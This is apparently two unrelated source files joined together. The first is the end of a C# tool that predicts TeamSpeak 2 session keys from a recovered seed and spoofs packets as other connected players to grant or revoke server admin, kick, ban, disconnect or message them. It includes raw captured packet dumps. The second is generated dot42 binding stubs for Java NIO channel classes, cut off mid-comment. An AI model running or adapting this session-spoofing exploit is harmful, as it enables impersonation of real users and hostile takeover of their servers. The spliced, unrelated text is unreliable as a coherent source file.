TextBoxStreamWriter(txtConsole); // Redirect the out Console stream //Console.SetOut(_writer); } private void init() { this.SequenceNumber = 0; Login(); } private void net_Received(object sender, UdpPacketReceivedEventArgs e) { TS2Packet packet = new TS2Packet(); packet.ReadPacket(e.Response.Buffer); ClientID = packet.ClientID; RealClientID = packet.ClientID; Stream stream = null; BinaryReader reader = null; try { if (packet.Data == null) { packet.Data = new byte[] { 0x00 }; } stream = new MemoryStream(packet.Data); reader = new BinaryReader(stream); } catch (Exception err) { } switch (packet.Class) { case TS2.CONNECTION: switch (packet.Type) { case TS2.LOGINREPLY: LoginHandler(reader); break; case TS2.PING_REPLY: PingSequenceNumber = packet.SequenceNumber+1; break; default: Console.WriteLine("Unhandled Packet Type"); break; } break; case TS2.STANDARD: switch (packet.Type) { case TS2.PLAYERLIST: PlayerListHandler(reader); break; case TS2.CHANNELLIST: if (pingThread == null) { pingThread = new Thread(new ThreadStart(PingThread)); pingThread.Start(); } break; case TS2.NEWPLAYER: NewPlayerHandler(reader); break; case TS2.PLAYERQUIT: Console.WriteLine("Player left!"); PlayerQuitHandler(reader); break; default: break; } AckHandler(packet.SequenceNumber); break; case TS2.ACK: if (disconnectPending) { if (packet.SequenceNumber == this.dcSequenceNumber) { disconnectPending = false; } } AckHandler(packet.SequenceNumber); this.SequenceNumber = packet.SequenceNumber + 1; break; default: Console.WriteLine("Unknown Packet"); break; } } public void AckHandler( uint SequenceNumber ) { TS2Packet packet = new TS2Packet(); packet.Create(TS2.ACK, 0x0000, SessionKey, RealClientID, SequenceNumber); packet.Raw(new byte[] { 0x00 }); net.Send(packet.toByteArray(), Target); } public void Register() { TS2Packet packet = new TS2Packet(); packet.Create(TS2.STANDARD, TS2.REGISTER, this.SessionKey, this.ClientID, this.SequenceNumber); packet.Register(txtUsername.Text, txtPassword.Text); net.Send(packet.toByteArray(), Target); } public void PingThread() { while (true) { Ping(PingSequenceNumber); Thread.Sleep(1000); Console.WriteLine("Pung"); } } public void Ping(uint SequenceNumber) { TS2Packet packet = new TS2Packet(); packet.Create(TS2.CONNECTION, TS2.PING, RealSessionKey, RealClientID, PingSequenceNumber++); packet.Raw(new byte[] {}); try { net.Send(packet.toByteArray(), Target); } catch (ObjectDisposedException ex) { net.Dispose(); Console.WriteLine(ex.Message + "\r\n" + ex.StackTrace); init(); } } public void PlayerQuitHandler(BinaryReader reader) { uint PlayerID = reader.ReadUInt32(); int idx = 0; foreach (Player p in Players) { if (p.PlayerID == PlayerID) { Players.RemoveAt(idx); break; } idx++; } UpdatePlayers(); } public void NewPlayerHandler(BinaryReader reader) { uint PlayerID = reader.ReadUInt32(); uint ChannelID = reader.ReadUInt32(); uint Unknown = reader.ReadUInt32(); ushort Flags = reader.ReadUInt16(); string Nickname = reader.ReadString(); if (getPlayerByID(PlayerID).PlayerID == 0) { lock (lockObject) { Player p = new Player(PlayerID, ChannelID, Unknown, Flags, Nickname, 0x00); Players.Add(p); } } UpdatePlayers(); } public void UpdatePlayers() { lock (lockObject) { Console.WriteLine("Players: {0}", Players.Count); srcPlayer.Items.Clear(); dstPlayer.Items.Clear(); playersTable.Rows.Clear(); DataGridViewRow row; int idx = 0; foreach (Player p in Players) { row = (DataGridViewRow)playersTable.Rows[0].Clone(); row.Cells[0].Value = p.PlayerID.ToString(); row.Cells[1].Value = p.Nickname; row.Cells[2].Value = (GeneratedSessions.Count > p.PlayerID) ? BitConverter.ToString(BitConverter.GetBytes(GeneratedSessions[(int)p.PlayerID])) : ""; playersTable.Rows.Add(row); srcPlayer.Items.Add(p.Nickname); dstPlayer.Items.Add(p.Nickname); Players[idx].SessionKey = (GeneratedSessions.Count > p.PlayerID) ? GeneratedSessions[(int)p.PlayerID] : 0; idx++; } } } public void PrintPlayers() { foreach (Player p in Players) { Console.WriteLine("[{0}] {1}", p.PlayerID, p.Nickname); } } public void PlayerListHandler(BinaryReader reader) { uint numberOfPlayers = reader.ReadUInt32(); for (uint i = 0; i < numberOfPlayers; i++) { uint PlayerID = reader.ReadUInt32(); uint ChannelID = reader.ReadUInt32(); uint Unknown = reader.ReadUInt32(); ushort Flags = reader.ReadUInt16(); string Nickname = reader.ReadString(); if (getPlayerByID(PlayerID).PlayerID == 0) { lock (lockObject) { Player player = new Player( PlayerID, ChannelID, Unknown, Flags, Nickname, 0 ); Players.Add(player); } } reader.BaseStream.Seek(29 - Nickname.Length, SeekOrigin.Current); } UpdatePlayers(); } public void ChannelListHandler(BinaryReader reader) { } public Player getPlayerByName(string Nickname) { foreach (Player p in Players) { if (p.Nickname.Equals(Nickname)) { return p; } } return new Player(0, 0, 0, 0, "", 0x00); } public Player getPlayerByID(uint PlayerID) { foreach (Player p in Players) { if (p.PlayerID.Equals(PlayerID)) { return p; } } return new Player(0, 0, 0, 0, "", 0x00); } public void LoginHandler(BinaryReader reader) { Console.WriteLine("Login Handler Called"); reader.BaseStream.Seek(68, SeekOrigin.Begin); int response = reader.ReadInt32(); if (response < 1) { /* * IDK f4be0400000000009100000002000000650f24671d01010101010101010101010101010101010101010101015075626c6963054c696e757800000000000000000000000000000000000000000000000002000000180001000100000000140000000000000600061ef60ffefffc7e01fe0000000000e06f7c3e00f40000000000000000000094000000000000000000009400040000024a000000009400000000024a000000021400e8030000e5934300910000008357656c636f6d6520746f20587472656d65205465616d20436f6d6d756e69636174696f6e73205075626c6963205473322120506c656173652072656164202d3d53657276657220496e666f3d2d206368616e6e656c2e20506c65617365207573652078746374732e6e65743a383736372061732073657276657220616464726573732e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 * Invalid Login f4be04000000000014000000020000004fc604270000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000faffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009de7bc001400000027596f757220495020686173206265656e2062616e6e656420666f72203130204d696e7574657321000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 Banned = -6 * */ switch (response) { case -6: Console.WriteLine("You have been banned."); break; case -7: Console.WriteLine("User already logged in."); break; case -21: default: Console.WriteLine("Invalid Login: {0}", response.ToString()); break; } } else { /* * Valid Login f4be0400000000002700000002000000081077fc105465616d537065616b2053657276657200000000000000000000000000054c696e7578000000000000000000000000000000000000000000000000020000001800010001000000ff1f000000000000050007ffff0ffefffeff03fe0000000000e07f7c3e00d40000000000006c502800d4000000000000000000009400040000004e000000009000040000004a0000000090001000000024ad8c0027000000315b57656c636f6d6520746f205465616d537065616b2c20636865636b207777772e676f7465616d737065616b2e636f6d5d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 */ /* Reset the stream */ reader.BaseStream.Seek(0, SeekOrigin.Begin); string serverName = reader.ReadString(); reader.BaseStream.Seek(29 - serverName.Length, SeekOrigin.Current); string serverPlatform = reader.ReadString(); reader.BaseStream.Seek(121 - serverPlatform.Length, SeekOrigin.Current); SessionKey = reader.ReadUInt32(); RealSessionKey = SessionKey; reader.BaseStream.Seek(4, SeekOrigin.Current); string serverWelcomeString = ""; try { serverWelcomeString = reader.ReadString(); } catch (Exception ex1) { } Console.WriteLine("Login Success! - {0} on {1}\r\nSession Key: {2}\r\nClient ID: {3}\r\n{4}", serverName, serverPlatform, SessionKey, ClientID, serverWelcomeString); btnConnect.Enabled = false; if (this.Sessions.Count < 2) { this.Sessions.Add(SessionKey); this.ClientIDs.Add(ClientID); Disconnect(); new Thread(new ThreadStart(WaitForDisconnect)).Start(); } else { new Thread(new ThreadStart(FindSession)).Start(); JoinServer(); } } } public void FindSession() { sessionList = new SessionList(this.ClientIDs[0], this.Sessions[0], this.Sessions[1]); sessionList.getSeed(1); //sessionList.seed = 1833297342; Invoke(new MethodInvoker(SetSessionFound)); } public void SetSessionFound() { lblSeed.Text = "Seed found!"; lblSeed.ForeColor = Color.LightGreen; uint last = sessionList.seed; GeneratedSessions.Add(sessionList.gen_session(last)); for (int i = 1; i < 9999; i++) { last = sessionList.gen_x(last); GeneratedSessions.Add(sessionList.gen_session(last)); } UpdatePlayers(); } public void WaitForDisconnect() { while (disconnectPending) { Thread.Sleep(100); } Thread.Sleep(5000); Invoke(new MethodInvoker(init)); } public void Login() { TS2Packet packet = new TS2Packet(); packet.Create(TS2.CONNECTION, TS2.LOGIN, 0x00000000, 0x00000000, SequenceNumber++); packet.Login(txtNickname.Text, txtUsername.Text, (string.IsNullOrEmpty(txtPassword.Text) ? txtServerPassword.Text : txtPassword.Text), txtPlatform.Text, txtOS.Text); net.Send(packet.toByteArray(), Target); } public void JoinServer() { TS2Packet packet = new TS2Packet(); packet.Create(TS2.STANDARD, TS2.LOGIN2, SessionKey, ClientID, SequenceNumber); packet.Raw( new byte[] { 0x01, 0x00, 0x00, 0x00, 0xf4, 0x3b, 0x46, 0x75, 0x3b, 0x6d, 0x92, 0x8a, 0x7c, 0xf8, 0x18, 0x00, 0xb4, 0xc4, 0x48, 0x00, 0x02, 0x00, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x5e, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7c, 0xf8, 0x18, 0x00, 0xb4, 0xc4, 0x48, 0x00, 0x7c, 0xf8, 0x18, 0x00, 0xb4, 0xc4, 0x48, 0x00, 0xfc, 0x9a, 0xb6, 0x02, 0xa6, 0x9f, 0x92, 0xd6, 0x00, 0x00, 0x00, 0x00 } ); net.Send(packet.toByteArray(), Target); Console.WriteLine("Sent LOGIN2"); } public void GrantSA(uint cid) { ServerAdmin(cid, true); } public void RevokeSA(uint cid) { ServerAdmin(cid, false); } public void ServerAdmin(uint cid, bool give) { /* f0be3301a54c3d003f00000002000000000000005f718a7e0e0000000000 */ /* f0be3301ce8f36003f000000020000000000000006ef023b0e0000000000 */ /* f0be3301ffe32500450000000200000000000000630e5b4c0e0000000200 */ TS2Packet packet = new TS2Packet(); ushort action = give ? (ushort)0x0000 : (ushort)0x0002; packet.Create(TS2.STANDARD, TS2.GIVESA, this.SessionKey, this.ClientID, this.SequenceNumber); packet.Raw(packet.combine(BitConverter.GetBytes(cid), BitConverter.GetBytes(action))); net.Send(packet.toByteArray(), Target); } public void Disconnect() { TS2Packet packet = new TS2Packet(); packet.Create(TS2.STANDARD, TS2.DISCONNECT, this.SessionKey, this.ClientID, this.SequenceNumber); packet.Raw(new byte[] { }); net.Send(packet.toByteArray(), Target); disconnectPending = true; dcSequenceNumber = this.SequenceNumber; } public void Kick(uint cid, string message) { /* f0be4501577a75005b0000000200000000000000f8bd354f54000000000011596572206120747572642c20647564652e060000000d000000b870b602 */ /* */ TS2Packet packet = new TS2Packet(); packet.Create(TS2.STANDARD, TS2.KICKPLAYER, this.SessionKey, this.ClientID, this.SequenceNumber); packet.Raw(packet.combine(BitConverter.GetBytes(cid), new byte[] { 0x00, 0x00, (byte)message.Length }, packet.Pad(message, 29))); net.Send(packet.toByteArray(), Target); } public void Ban(uint cid, string message) { /* f0be4501577a75005b0000000200000000000000f8bd354f54000000000011596572206120747572642c20647564652e060000000d000000b870b602 */ /* */ TS2Packet packet = new TS2Packet(); packet.Create(TS2.STANDARD, TS2.BANPLAYER, this.SessionKey, this.ClientID, this.SequenceNumber); packet.Raw(packet.combine(BitConverter.GetBytes(cid), new byte[] { 0x00, 0x00, (byte)message.Length }, packet.Pad(message, 29))); net.Send(packet.toByteArray(), Target); } public void MessagePlayer(uint cid, string message) { SendMessage(cid, message, 2); } public void MessageChannel(uint cid, string message) { SendMessage(cid, message, 1); } public void MessageServer(uint cid, string message) { SendMessage(cid, message, 0); } public void SendMessage(uint target, string message, int opt) { TS2Packet packet = new TS2Packet(); packet.Create(TS2.STANDARD, TS2.MSGPLAYER, this.SessionKey, this.ClientID, this.SequenceNumber); switch (opt) { case 2: /* player */ packet.Raw(packet.combine(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x02 }, BitConverter.GetBytes(target), packet.Pad(message, message.Length + 1))); break; case 1: /* channel */ packet.Raw(packet.combine(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x01 }, BitConverter.GetBytes(target), packet.Pad(message, message.Length + 1))); break; case 0: /* server */ packet.Raw(packet.combine(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }, packet.Pad(message, message.Length + 1))); break; } net.Send(packet.toByteArray(), Target); } private void btnExecute_Click(object sender, EventArgs e) { if (dstPlayer.Text == null) { Console.WriteLine("Please select a destination player and action."); return; } bool spoof = (srcPlayer.Text != null && !string.IsNullOrEmpty(srcPlayer.Text.ToString())); Player source = null; if (spoof) { source = getPlayerByName(srcPlayer.Text.ToString()); } Player target = getPlayerByName(dstPlayer.Text.ToString()); Console.WriteLine("Source: {0} -> Target: {1}", source.Nickname, target.Nickname); uint self_id = this.ClientID; uint self_key = this.SessionKey; uint self_sequence = this.SequenceNumber; if (spoof) { this.ClientID = source.PlayerID; this.SessionKey = source.SessionKey; this.SequenceNumber = source.ActionSequenceNumber; source.ActionSequenceNumber++; } if (target.PlayerID != 0) { switch (action.SelectedIndex) { case ACT_GRANT_SA: Task.Factory.StartNew(() => Console.WriteLine("Giving SA to {0}", target.Nickname)); GrantSA(target.PlayerID); //; break; case ACT_REVOKE_SA: Task.Factory.StartNew(() => Console.WriteLine("Revoking SA from {0}", target.Nickname)); RevokeSA(target.PlayerID); //; break; case ACT_DISCONNECT: Task.Factory.StartNew(() => Console.WriteLine("Disconnecting {0}", target.Nickname)); Disconnect(); //; break; case ACT_KICK: Task.Factory.StartNew(() => Console.WriteLine("Kicking {0}", target.Nickname)); Kick(target.PlayerID, txtMessage.Text.ToString()); break; case ACT_BAN: Task.Factory.StartNew(() => Console.WriteLine("Banning {0}", target.Nickname)); Ban(target.PlayerID, txtMessage.Text.ToString()); //; break; case ACT_SEND_MESSAGE_PLAYER: Task.Factory.StartNew(() => Console.WriteLine("Sending message to {0}", target.Nickname)); MessagePlayer(target.PlayerID, txtMessage.Text.ToString()); //; break; case ACT_SEND_MESSAGE_ALL: Task.Factory.StartNew(() => Console.WriteLine("Sending message to {0}", target.Nickname)); MessageServer(target.PlayerID, txtMessage.Text.ToString()); //; break; case ACT_REGISTER: Task.Factory.StartNew(() => Console.WriteLine("Registering {0}:{1} with server...", txtUsername.Text, txtPassword.Text)); Register(); break; default: break; } } if (spoof) { this.ClientID = self_id; this.SessionKey = self_id; this.SequenceNumber = self_sequence; } UpdateSelectedPlayerSequence(); } private void btnConnect_Click(object sender, EventArgs e) { try { Target = new IPEndPoint(IPAddress.Parse(txtIP.Text), int.Parse(txtPort.Text)); Console.WriteLine("Connecting {0}:{1}", txtIP.Text, int.Parse(txtPort.Text)); net = new UdpHandler(new IPEndPoint(IPAddress.Any, 54204)); net.Listen(true); net.Received += net_Received; init(); } catch (Exception ex) { Console.WriteLine("Init: " + ex.Message + "\r\n" + ex.StackTrace); } } public void UpdateSelectedPlayerSequence() { bool spoof = (srcPlayer.Text != null && !string.IsNullOrEmpty(srcPlayer.Text.ToString())); Player source = null; if (spoof) { source = getPlayerByName(srcPlayer.Text.ToString()); numSeq.Value = source.ActionSequenceNumber; } } private void srcPlayer_SelectedIndexChanged(object sender, EventArgs e) { UpdateSelectedPlayerSequence(); } private void numSeq_ValueChanged(object sender, EventArgs e) { bool spoof = (srcPlayer.Text != null && !string.IsNullOrEmpty(srcPlayer.Text.ToString())); Player source = null; if (spoof) { source = getPlayerByName(srcPlayer.Text.ToString()); source.ActionSequenceNumber = uint.Parse(numSeq.Value.ToString()); } } } }
// Copyright (C) 2014 dot42 // // Original filename: Java.Nio.Channels.Spi.cs // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #pragma warning disable 1717 namespace Java.Nio.Channels.Spi { /// <summary> /// <para><c> AbstractInterruptibleChannel </c> is the root class for interruptible channels. </para><para>The basic usage pattern for an interruptible channel is to invoke <c> begin() </c> before any I/O operation that potentially blocks indefinitely, then <c> end(boolean) </c> after completing the operation. The argument to the <c> end </c> method should indicate if the I/O operation has actually completed so that any change may be visible to the invoker. </para> /// </summary> /// <java-name> /// java/nio/channels/spi/AbstractInterruptibleChannel /// </java-name> [Dot42.DexImport("java/nio/channels/spi/AbstractInterruptibleChannel", AccessFlags = 1057)] public abstract partial class AbstractInterruptibleChannel : global::Java.Nio.Channels.IChannel, global::Java.Nio.Channels.IInterruptibleChannel /* scope: __dot42__ */ { [Dot42.DexImport("<init>", "()V", AccessFlags = 4)] protected internal AbstractInterruptibleChannel() /* MethodBuilder.Create */ { } /// <summary> /// <para>Returns true if this channel is open. </para> /// </summary> /// <java-name> /// isOpen /// </java-name> [Dot42.DexImport("isOpen", "()Z", AccessFlags = 49)] public bool IsOpen() /* MethodBuilder.Create */ { return default(bool); } /// <summary> /// <para>Closes an open channel. If the channel is already closed then this method has no effect, otherwise it closes the receiver via the <c> implCloseChannel </c> method. </para><para>If an attempt is made to perform an operation on a closed channel then a java.nio.channels.ClosedChannelException is thrown. </para><para>If multiple threads attempt to simultaneously close a channel, then only one thread will run the closure code and the others will be blocked until the first one completes.</para><para><para>java.nio.channels.Channel::close() </para></para> /// </summary> /// <java-name> /// close /// </java-name> [Dot42.DexImport("close", "()V", AccessFlags = 17)] public void Close() /* MethodBuilder.Create */ { } /// <summary> /// <para>Indicates the beginning of a code section that includes an I/O operation that is potentially blocking. After this operation, the application should invoke the corresponding <c> end(boolean) </c> method. </para> /// </summary> /// <java-name> /// begin /// </java-name> [Dot42.DexImport("begin", "()V", AccessFlags = 20)] protected internal void Begin() /* MethodBuilder.Create */ { } /// <summary> /// <para>Indicates the end of a code section that has been started with <c> begin() </c> and that includes a potentially blocking I/O operation.</para><para></para> /// </summary> /// <java-name> /// end /// </java-name> [Dot42.DexImport("end", "(Z)V", AccessFlags = 20)] protected internal void End(bool success) /* MethodBuilder.Create */ { } /// <summary> /// <para>Implements the channel closing behavior. </para><para>Closes the channel with a guarantee that the channel is not currently closed through another invocation of <c> close() </c> and that the method is thread-safe. </para><para>Any outstanding threads blocked on I/O operations on this channel must be released with either a normal return code, or by throwing an <c> AsynchronousCloseException </c> .</para><para></para> /// </summary> /// <java-name> /// implCloseChannel /// </java-name> [Dot42.DexImport("implCloseChannel", "()V", AccessFlags = 1028)] protected internal abstract void ImplCloseChannel() /* MethodBuilder.Create */ ; } /// <summary> /// <para><c> AbstractSelectableChannel </c> is the base implementation class for selectable channels. It declares methods for registering, unregistering and closing selectable channels. It is thread-safe. </para> /// </summary> /// <java-name> /// java/nio/channels/spi/AbstractSelectableChannel /// </java-name> [Dot42.DexImport("java/nio/channels/spi/AbstractSelectableChannel", AccessFlags = 1057)] public abstract partial class AbstractSelectableChannel : global::Java.Nio.Channels.SelectableChannel /* scope: __dot42__ */ { /// <summary> /// <para>Constructs a new <c> AbstractSelectableChannel </c> .</para><para></para> /// </summary> [Dot42.DexImport("<init>", "(Ljava/nio/channels/spi/SelectorProvider;)V", AccessFlags = 4)] protected internal AbstractSelectableChannel(global::Java.Nio.Channels.Spi.SelectorProvider selectorProvider) /* MethodBuilder.Create */ { } /// <summary> /// <para>Returns the selector provider that has created this channel.</para><para><para>java.nio.channels.SelectableChannel::provider() </para></para> /// </summary> /// <returns> /// <para>this channel's selector provider. </para> /// </returns> /// <java-name> /// provider /// </java-name> [Dot42.DexImport("provider", "()Ljava/nio/channels/spi/SelectorProvider;", AccessFlags = 17)] public override global::Java.Nio.Channels.Spi.SelectorProvider Provider() /* MethodBuilder.Create */ { return default(global::Java.Nio.Channels.Spi.SelectorProvider); } /// <summary> /// <para>Indicates whether this channel is registered with one or more selectors.</para><para></para> /// </summary> /// <returns> /// <para><c> true </c> if this channel is registered with a selector, <c> false </c> otherwise. </para> /// </returns> /// <java-name> /// isRegistered /// </java-name> [Dot42.DexImport("isRegistered", "()Z", AccessFlags = 49)] public override bool IsRegistered() /* MethodBuilder.Create */ { return default(bool); } /// <summary> /// <para>Gets this channel's selection key for the specified selector.</para><para></para> /// </summary> /// <returns> /// <para>the selection key for the channel or <c> null </c> if this channel has not been registered with <c> selector </c> . </para> /// </returns> /// <java-name> /// keyFor /// </java-name> [Dot42.DexImport("keyFor", "(Ljava/nio/channels/Selector;)Ljava/nio/channels/SelectionKey;", AccessFlags = 49)] public override global::Java.Nio.Channels.SelectionKey KeyFor(global::Java.Nio.Channels.Selector selector) /* MethodBuilder.Create */ { return default(global::Java.Nio.Channels.SelectionKey); } /// <summary> /// <para>Registers this channel with the specified selector for the specified interest set. If the channel is already registered with the selector, the interest set is updated to <c> interestSet </c> and the corresponding selection key is returned. If the channel is not yet registered, this method calls the <c> register </c> method of <c> selector </c> and adds the selection key to this channel's key set.</para><para></para> /// </summary> /// <returns> /// <para>the selection key for this registration. </para> /// </returns> /// <java-name> /// register /// </java-name> [Dot42.DexImport("register", "(Ljava/nio/channels/Selector;ILjava/lang/Object;)Ljava/nio/channels/SelectionKey;" + "", AccessFlags = 17)] public override global::Java.Nio.Channels.SelectionKey Register(global::Java.Nio.Channels.Selector selector, int interestSet, object attachment) /* MethodBuilder.Create */ { return default(global::Java.Nio.Channels.SelectionKey); } /// <summary> /// <para>Implements the channel closing behavior. Calls <c> implCloseSelectableChannel() </c> first, then loops through the list of selection keys and cancels them, which unregisters this channel from all selectors it is registered with.</para><para></para> /// </summary> /// <java-name> /// implCloseChannel /// </java-name> [Dot42.DexImport("implCloseChannel", "()V", AccessFlags = 52)] protected internal override void ImplCloseChannel() /* MethodBuilder.Create */ { } /// <summary> /// <para>Implements the closing function of the SelectableChannel. This method is called from <c> implCloseChannel() </c> .</para><para></para> /// </summary> /// <java-name> /// implCloseSelectableChannel /// </java-name> [Dot42.DexImport("implCloseSelectableChannel", "()V", AccessFlags = 1028)] protected internal abstract void ImplCloseSelectableChannel() /* MethodBuilder.Create */ ; /// <summary> /// <para>Indicates whether this channel is in blocking mode.</para><para></para> /// </summary> /// <returns> /// <para><c> true </c> if this channel is blocking, <c> false </c> otherwise. </para> /// </returns> /// <java-name> /// isBlocking /// </java-name> [Dot42.DexImport("isBlocking", "()Z", AccessFlags = 17)] public override bool IsBlocking() /* MethodBuilder.Create */ { return default(bool); } /// <summary> /// <para>Gets the object used for the synchronization of <c> register </c> and <c> configureBlocking </c> .</para><para></para> /// </summary> /// <returns> /// <para>the synchronization object. </para> /// </returns> /// <java-name> /// blockingLock /// </java-name> [Dot42.DexImport("blockingLock", "()Ljava/lang/Object;", AccessFlags = 17)] public override object BlockingLock() /* MethodBuilder.Create */ { return default(object); } /// <summary> /// <para>Sets the blocking mode of this channel. A call to this method blocks if other calls to this method or to <c> register </c> are executing. The actual setting of the mode is done by calling <c> implConfigureBlocking(boolean) </c> .</para><para><para>java.nio.channels.SelectableChannel::configureBlocking(boolean) </para></para> /// </summary> /// <returns> /// <para>this channel. </para> /// </returns> /// <java-name> /// configureBlocking /// </java-name> [Dot42.DexImport("configureBlocking", "(Z)Ljava/nio/channels/SelectableChannel;", AccessFlags = 17)] public override global::Java.Nio.Channels.SelectableChannel ConfigureBlocking(bool blockingMode) /* MethodBuilder.Create */ { return default(global::Java.Nio.Channels.SelectableChannel); } /// <summary> /// <para>Implements the configuration of blocking/non-blocking mode.</para><para></para> /// </summary> /// <java-name> /// implConfigureBlocking /// </java-name> [Dot42.DexImport("implConfigureBlocking", "(Z)V", AccessFlags = 1028)] protected internal abstract void ImplConfigureBlocking(bool blocking) /* MethodBuilder.Create */ ; [global::System.ComponentModel.EditorBrowsable(global::System.ComponentModel.EditorBrowsableState.Never)] internal AbstractSelectableChannel() /* TypeBuilder.AddDefaultConstructor */ { } } /// <summary> /// <para><c> SelectorProvider </c> is an abstract base class that declares methods for providing instances of DatagramChannel, Pipe, java.nio.channels.Selector , ServerSocketChannel, and SocketChannel. All the methods of this class are thread-safe.</para><para>A provider instance can be retrieved through a system property or the configuration file in a jar file; if no provider is available that way then the system default provider is returned. </para> /// </summary> /// <java-name> /// java/nio/channels/spi/SelectorProvider /// </java-name> [Dot42.DexImport("java/nio/channels/spi/SelectorProvider", AccessFlags = 1057)] public abstract partial class SelectorProvider /* scope: __dot42__ */ { /// <summary> /// <para>Constructs a new <c> SelectorProvider </c> . </para> /// </summary> [Dot42.DexImport("<init>", "()V", AccessFlags = 4)] protected internal SelectorProvider() /* MethodBuilder.Create */ { } /// <summary> /// <para>Gets a provider instance by executing the following steps when called for the first time: <ul><li><para>if the system property "java.nio.channels.spi.SelectorProvider" is set, the value of this property is the class name of the provider returned; </para></li><li><para>if there is a provider-configuration file named "java.nio.channels.spi.SelectorProvider" in META-INF/services of a jar file valid in the system class loader, the first class name is the provider's class name; </para></li><li><para>otherwise, a system default provider will be returned. </para></li></ul></para><para></para> /// </summary> /// <returns> /// <para>the provider. </para> /// </returns> /// <java-name> /// provider /// </java-name> [Dot42.DexImport("provider", "()Ljava/nio/channels/spi/SelectorProvider;", AccessFlags = 41)] public static global::Java.Nio.Channels.Spi.SelectorProvider Provider() /* MethodBuilder.Create */ { return default(global::Java.Nio.Channels.Spi.SelectorProvider); } /// <summary> /// <para>Creates a new open <c> DatagramChannel </c> .</para><para></para> /// </summary> /// <returns> /// <para>the new channel. </para> /// </returns> /// <java-name> /// openDatagramChannel /// </java-name> [Dot42.DexImport("openDatagramChannel", "()Ljava/nio/channels/DatagramChannel;", AccessFlags = 1025)] public abstract global::Java.Nio.Channels.DatagramChannel OpenDatagramChannel() /* MethodBuilder.Create */ ; /// <summary> /// <para>Creates a new <c> Pipe </c> .</para><para></para> /// </summary> /// <returns> /// <para>the new pipe. </para> /// </returns> /// <java-name> /// openPipe /// </java-name> [Dot42.DexImport("openPipe", "()Ljava/nio/channels/Pipe;", AccessFlags = 1025)] public abstract global::Java.Nio.Channels.Pipe OpenPipe() /* MethodBuilder.Create */ ; /// <summary> /// <para>Creates a new selector.</para><para></para> /// </summary> /// <returns> /// <para>the new selector. </para> /// </returns> /// <java-name> /// openSelector /// </java-name> [Dot42.DexImport("openSelector", "()Ljava/nio/channels/spi/AbstractSelector;", AccessFlags = 1025)] public abstract global::Java.Nio.Channels.Spi.AbstractSelector OpenSelector() /* MethodBuilder.Create */ ; /// <summary> /// <para>Creates a new open <c> ServerSocketChannel </c> .</para><para></para> /// </summary> /// <returns> /// <para>the new channel. </para> /// </returns> /// <java-name> /// openServerSocketChannel /// </java-name> [Dot42.DexImport("openServerSocketChannel", "()Ljava/nio/channels/ServerSocketChannel;", AccessFlags = 1025)] public abstract global::Java.Nio.Channels.ServerSocketChannel OpenServerSocketChannel() /* MethodBuilder.Create */ ; /// <summary> /// <para>Create a new open <c> SocketChannel </c> .</para><para></para> /// </summary> /// <returns> /// <para>the new channel. </para> /// </returns> /// <java-name> /// openSocketChannel /// </java-name> [Dot42.DexImport("openSocketChannel", "()Ljava/nio/channels/SocketChannel;", AccessFlags = 1025)] public abstract global::Java.Nio.Channels.SocketChannel OpenSocketChannel() /* MethodBuilder.Create */ ; /// <summary> /// <para>Returns the channel inherited from the process that created this VM. On Android, this method always returns null because stdin and stdout are never connected to a socket.</para><para></para> /// </summary> /// <returns> /// <para>the channel. </para> /// </returns> /// <java-name> /// inheritedChannel /// </java-name> [Dot42.DexImport("inheritedChannel", "()Ljava/nio/channels/Channel;", AccessFlags = 1)] public virtual global::Java.Nio.Channels.IChannel InheritedChannel() /* MethodBuilder.Create */ { return default(global::Java.Nio.Channels.IChannel); } } /// <summary> /// <para><c> AbstractSelector </c> is the base implementation class for selectors. It realizes the interruption of selection by <c> begin </c> and <c> end </c> . It also holds the cancellation and the deletion of the key set. </para> /// </summary> /// <java-name> /// java/nio/channels/spi/AbstractSelector /// </java-name> [Dot42.DexImport("java/nio/channels/spi/AbstractSelector", AccessFlags = 1057)] public abstract partial class AbstractSelector : global::Java.Nio.Channels.Selector /* scope: __dot42__ */ { [Dot42.DexImport("<init>", "(Ljava/nio/channels/spi/SelectorProvider;)V", AccessFlags = 4)] protected internal AbstractSelector(global::Java.Nio.Channels.Spi.SelectorProvider selectorProvider) /* MethodBuilder.Create */ { } /// <summary> /// <para>Closes this selector. This method does nothing if this selector is already closed. The actual closing must be implemented by subclasses in <c> implCloseSelector() </c> . </para> /// </summary> /// <java-name> /// close /// </java-name> [Dot42.DexImport("close", "()V", AccessFlags = 17)] public override void Close() /* MethodBuilder.Create */ { } /// <summary> /// <para>Implements the closing of this channel. </para> /// </summary> /// <java-name> /// implCloseSelector /// </java-name> [Dot42.DexImport("implCloseSelector", "()V", AccessFlags = 1028)] protected internal abstract void ImplCloseSelector() /* MethodBuilder.Create */ ; /// <summary> /// <para>Returns true if this selector is open. </para> /// 